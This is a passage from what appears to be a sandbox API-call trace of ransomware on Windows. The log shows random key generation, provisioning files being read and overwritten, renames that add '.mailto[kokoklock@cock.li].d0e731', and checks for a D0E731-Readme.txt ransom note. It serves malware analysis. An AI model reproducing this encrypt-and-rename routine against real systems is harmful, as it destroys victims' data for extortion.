lpNumberOfBytesWritten=0x2efbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x55dc5e8*, lpNumberOfBytesWritten=0x2efbfdbc*=0x20, lpOverlapped=0x0) returned 1 [0087.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5e8) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.219] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2efbfde8*=0x8, lpOverlapped=0x0) returned 1 [0087.219] WriteFile (in: hFile=0x3d0, lpBuffer=0x2efbfe00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x2efbfe00*, lpNumberOfBytesWritten=0x2efbfde8*=0x4, lpOverlapped=0x0) returned 1 [0087.219] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2efbfde8*=0x4, lpOverlapped=0x0) returned 1 [0087.219] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2efbfde8*=0x6c, lpOverlapped=0x0) returned 1 [0087.219] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2efbfde8*=0x20, lpOverlapped=0x0) returned 1 [0087.219] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2efbfde8*=0x4, lpOverlapped=0x0) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.219] CloseHandle (hObject=0x3d0) returned 1 [0087.220] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x194) returned 0x33fc9c8 [0087.220] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" [0087.220] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.220] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.220] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.221] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.221] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.221] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.221] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c180) returned 1 [0087.221] RtlExitUserThread (Status=0x1) Thread: id = 1351 os_tid = 0x1100 [0087.207] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml")) returned 0x20 [0087.222] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.222] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.222] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f03f854 | out: lpFileSize=0x2f03f854*=719) returned 1 [0087.222] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.223] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f03f828, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x2f03f828*, lpNumberOfBytesRead=0x2f03f824*=0x4, lpOverlapped=0x0) returned 1 [0087.224] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.224] NtQuerySystemTime (in: CurrentTime=0x2f03f800 | out: CurrentTime=0x2f03f800*=132121176451173182) returned 0x0 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xc31bdfc8 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xcef21bac [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x19759092 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x5da8a67a [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x3ac7798a [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x647f299c [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x9a9252b2 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x22c2ead0 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xb4528517 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x6f5a1c8c [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xb8681b22 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x8f2bc791 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xcd41bfc5 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xf570adb4 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x5fe8390e [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x5bf9d827 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xe853d41e [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x92f48ea6 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x978598ac [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x98d697bc [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x95eede91 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xe8560a08 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xcb8db49 [0087.224] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x8b7e4c07 [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x3af82844 [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x8dc3083d [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xa0a852d3 [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xa01d0dd9 [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xb51e0b16 [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0xac5322bb [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x6a74a1e4 [0087.225] RtlRandom (in: Seed=0x2f03f80c | out: Seed=0x2f03f80c) returned 0x74c07039 [0087.235] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x2f03f800, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f03f800*=0x2cf, lpOverlapped=0x0) returned 1 [0087.236] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f03f7c8 | out: lpNewFilePointer=0x0) returned 1 [0087.236] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cf, lpNumberOfBytesWritten=0x2f03f7fc, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f03f7fc*=0x2cf, lpOverlapped=0x0) returned 1 [0087.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc610 [0087.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.236] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f03f7f8, lpOverlapped=0x0 | out: lpBuffer=0x55dc610*, lpNumberOfBytesWritten=0x2f03f7f8*=0x20, lpOverlapped=0x0) returned 1 [0087.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc610) returned 1 [0087.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.236] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x55dc5e8*, lpNumberOfBytesWritten=0x2f03f824*=0x8, lpOverlapped=0x0) returned 1 [0087.236] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f03f83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x2f03f83c*, lpNumberOfBytesWritten=0x2f03f824*=0x4, lpOverlapped=0x0) returned 1 [0087.236] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f03f824*=0x4, lpOverlapped=0x0) returned 1 [0087.236] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f03f824*=0x6c, lpOverlapped=0x0) returned 1 [0087.237] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f03f824*=0x20, lpOverlapped=0x0) returned 1 [0087.237] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f03f824, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f03f824*=0x4, lpOverlapped=0x0) returned 1 [0087.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5e8) returned 1 [0087.237] CloseHandle (hObject=0x3d0) returned 1 [0087.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.237] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" [0087.237] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.237] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.238] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.238] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.238] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.238] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.238] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.238] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6e70) returned 1 [0087.238] RtlExitUserThread (Status=0x1) Thread: id = 1352 os_tid = 0x1114 [0087.239] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.240] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.240] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.240] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f0bfb80 | out: lpFileSize=0x2f0bfb80*=720) returned 1 [0087.240] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.240] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f0bfb54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f0bfb50, lpOverlapped=0x0 | out: lpBuffer=0x2f0bfb54*, lpNumberOfBytesRead=0x2f0bfb50*=0x4, lpOverlapped=0x0) returned 1 [0087.242] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5e8 [0087.242] NtQuerySystemTime (in: CurrentTime=0x2f0bfb2c | out: CurrentTime=0x2f0bfb2c*=132121176451329341) returned 0x0 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xa38e2d87 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x1a3c255 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x239bb083 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x22d758db [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xf6e4748e [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xfed216e8 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xd55e86bc [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xa7ab5c7 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x5a3b6fed [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x78611f3e [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xb668ec76 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x85c0727d [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xaed01fd3 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xb59c2a88 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xed9a661 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x687e886e [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xf23f197e [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x12699565 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xbb066d9c [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xd5aa8d15 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xeb48b722 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x21c0d8f8 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x601d3f65 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x1d32d2b7 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xceec5ed5 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x6ae5df59 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x2a1368db [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x2fc2a791 [0087.242] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xe2c14f58 [0087.243] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x886ecbb9 [0087.243] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0xf3ba7242 [0087.243] RtlRandom (in: Seed=0x2f0bfb38 | out: Seed=0x2f0bfb38) returned 0x5a111c39 [0087.253] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d0, 